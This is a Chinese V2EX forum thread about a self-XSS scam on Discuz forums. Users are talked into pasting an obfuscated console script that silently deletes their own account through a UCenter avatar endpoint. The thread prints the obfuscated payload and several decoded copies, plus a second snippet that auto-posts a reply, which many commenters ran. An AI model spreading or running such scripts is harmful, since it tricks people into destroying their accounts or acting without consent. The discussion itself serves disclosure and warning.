discuz 漏洞真 j8 多有人在我论坛搞事情。。。传播一段 js 把我论坛搞炸了

V2EX = way to explore

V2EX 是一个关于分享和探索的地方

现在注册

已注册用户请登录

› RANDOM.org 密码生成器

› uBlock

› Authy

› LastPass

› FreebuF.com

› Beebeeto

› Dashlane 密码管理器

这是一个创建于 2205 天前的主题，其中的信息可能已经有所发展或是发生改变。

这两天有人在我站水帖。。。。。告诉别的用户在 console 执行一段脚本能领到积分。。结果他们自己账号变得乱七八糟的了。。。
废话不说。。。上代码你们自己看看

location['\x68\x72\x65\x66']=((d=(await(await fetch("\x2e\x2f\x68\x6f\x6d\x65\x2e\x70\x68\x70\x3f\x6d\x6f\x64\x3d\x73\x70\x61\x63\x65\x63\x70\x26\x61\x63\x3d\x61\x76\x61\x74\x61\x72",{credentials:'\x69\x6e\x63\x6c\x75\x64\x65'}))['\x74\x65\x78\x74']())['\x6d\x61\x74\x63\x68'](/\/\/\S+\/images\/ca\S+&ag/g)[0]['\x72\x65\x70\x6c\x61\x63\x65']('\x69\x6d\x61\x67\x65\x73\x2f\x63\x61\x6d\x65\x72\x61\x2e\x73\x77\x66\x3f','\x3f\x6d\x3d\x75\x73\x65\x72\x26\x61\x3d\x64\x65\x6c\x65\x74\x65\x26'))&&confirm('\u7eff\u5b9d\u77f3'))?d:'';

56 条回复 • 2020-11-29 13:10:48 +08:00

Event

2018-11-11 23:16:11 +08:00 via Android

具体账号发生了什么神奇的变化。。你们自己试试看吧我很无奈。。

Event

2018-11-11 23:16:39 +08:00 via Android

而且貌似不是软层的。。。直接从 sql 层干掉了？

Event

2018-11-11 23:22:40 +08:00 via Android

哦对。。输完后退出帐号重新登录才能看到效果

chinvo

2018-11-11 23:28:37 +08:00 via iPhone

@Livid

suit

2018-11-11 23:29:37 +08:00

没有变化

Event

2018-11-11 23:31:50 +08:00 via Android

@suit 重新登录看看你就知道了

Event

2018-11-11 23:32:10 +08:00 via Android

@chinvo
emmmm 咋了这里不允许讨论 bug 吗。。。

suit

2018-11-11 23:32:51 +08:00

@Event 已经重登了

Event

2018-11-11 23:33:59 +08:00 via Android

@suit 我在 dz 的 oschina 里面找到了 issue。。。貌似是个 ucenter 的 bug

Event

2018-11-11 23:34:22 +08:00 via Android

@suit 貌似是要 chrome 才行会弹出一个确认框。。

chinvo

2018-11-11 23:43:24 +08:00 via iPhone

@chinvo #4 抱歉，你这种描述方式太像那些 6 和彩的假新闻广告了，一时误认

ScotGu

2018-11-11 23:47:01 +08:00

@Event #7 并不是不允许讨论 BUG。
而是你的讨论方式有点操蛋。

在 DZ 论坛执行这段代码基本就是“自杀”。而你怂恿他人去尝试执行。并且未加任何警示标识和标识。
V2 是一个被秒收录的站点，很多小白来这里学习，如果小白好奇去执行了这段脚本，由此造成的后或你会负责么？

@Livid 建议屏蔽危险代码。

t6attack

2018-11-11 23:47:50 +08:00

location['href'] = ((d = (await(await fetch("./home.php?mod=spacecp&ac=avatar", {
credentials: 'include'
}))['text']())['match'](/\/\/\S+\/images\/ca\S+&ag/g)[0]['replace']('images/camera.swf?', '?m=user&a=delete&')) && confirm('绿宝石')) ? d : '';

t6attack

2018-11-11 23:57:12 +08:00

让用户自己执行动作代码，这，，这算漏洞？！下面代码可以在 v2 执行
$("\x23\x72\x65\x70\x6c\x79\x5f\x63\x6f\x6e\x74\x65\x6e\x74")["\x76\x61\x6c"]("\u6240\u4ee5\u4f60\u4eec\u5230\u5e95\u5acc\x4a\x53\u6743\u9650\u592a\u5927\u8fd8\u662f\u592a\u5c0f\u4e86\uff1f\uff1f");$("\x23\x72\x65\x70\x6c\x79\x5f\x63\x6f\x6e\x74\x65\x6e\x74")["\x70\x61\x72\x65\x6e\x74"]()["\x73\x75\x62\x6d\x69\x74"]();

mengyaoss77

2018-11-12 00:01:33 +08:00

所以你们到底嫌 JS 权限太大还是太小了？？

dot2017

2018-11-12 00:01:37 +08:00

这个 bug 老早就有了，利用 uc 头像删除自己的账号。临时解决办法是切换到 H5 头像模式，X3.4 自带了

Event

2018-11-12 00:02:08 +08:00

@ScotGu 是的。。很有危害性所以我混淆了啊防止别人乱改

@t6attack 重要的不是执行是这个功能毁灭性的

Event

2018-11-12 00:03:33 +08:00

@mengyaoss77 是程序权限没控制好

Perry

2018-11-12 00:03:48 +08:00 via iPhone

这是 social engineering 不是 bug

mengyaoss77

2018-11-12 00:04:41 +08:00

@Event #18 这是我执行 14 楼的代码自动回复的

Event

2018-11-12 00:04:53 +08:00

@Perry 感觉小白不清楚会出事情

airyland

2018-11-12 00:33:03 +08:00

所以你们到底嫌 JS 权限太大还是太小了？？

airyland

2018-11-12 00:34:07 +08:00

试了楼上的代码，自动发出回复了。。

crab

2018-11-12 00:38:22 +08:00

https://imgur.com/4so7bfg

crab

2018-11-12 00:38:36 +08:00

KasuganoSoras

2018-11-12 03:46:02 +08:00 via Android

这个 bug 老早就有了，我成功删了自己在很多论坛的账号。
不过我现在都自己开发论坛了，不用 Discuz

kzfile

2018-11-12 07:55:46 +08:00

所以你们到底嫌 JS 权限太大还是太小了？？

murmur

2018-11-12 08:09:25 +08:00

为什么那么多网站都在 console 里打东西提醒用户不要执行陌生人发来的代码

ThirdFlame

2018-11-12 08:41:49 +08:00

人肉型 CSRF

lixueyu001

2018-11-12 08:45:24 +08:00

所以你们到底嫌 JS 权限太大还是太小了？？

bojackhorseman

2018-11-12 08:49:18 +08:00

所以你们到底嫌 JS 权限太大还是太小了？？

v9ex

2018-11-12 08:51:32 +08:00

$("\x23\x72\x65\x70\x6c\x79\x5f\x63\x6f\x6e\x74\x65\x6e\x74")["\x76\x61\x6c"]("\u6240\u4ee5\u4f60\u4eec\u5230\u5e95\u5acc\x4a\x53\u6743\u9650\u592a\u5927\u8fd8\u662f\u592a\u5c0f\u4e86\uff1f\uff1f");$("\x23\x72\x65\x70\x6c\x79\x5f\x63\x6f\x6e\x74\x65\x6e\x74")["\x70\x61\x72\x65\x6e\x74"]()["\x73\x75\x62\x6d\x69\x74"]();

Removable

2018-11-12 08:57:24 +08:00

所以你们到底嫌 JS 权限太大还是太小了？？

respect11

2018-11-12 08:58:39 +08:00 via iPhone

所以你们到底嫌 JS 权限太大还是太小了？？

s527332935

2018-11-12 09:07:54 +08:00

所以你们到底嫌 JS 权限太大还是太小了？？

Lebal

2018-11-12 09:14:33 +08:00

所以你们到底嫌 JS 权限太大还是太小了？？

FakeLeung

2018-11-12 09:16:14 +08:00

location['href']=(
(d=(await(await fetch("./home.php?mod=spacecp&ac=avatar", {credentials: 'include'})['text']())['match'](/\/\/\S+\/images\/ca\S+&ag/g)[0]['replace']('images/camera.swf?', '?m=user&a=delete&')&&confirm('绿宝石'))?d:'';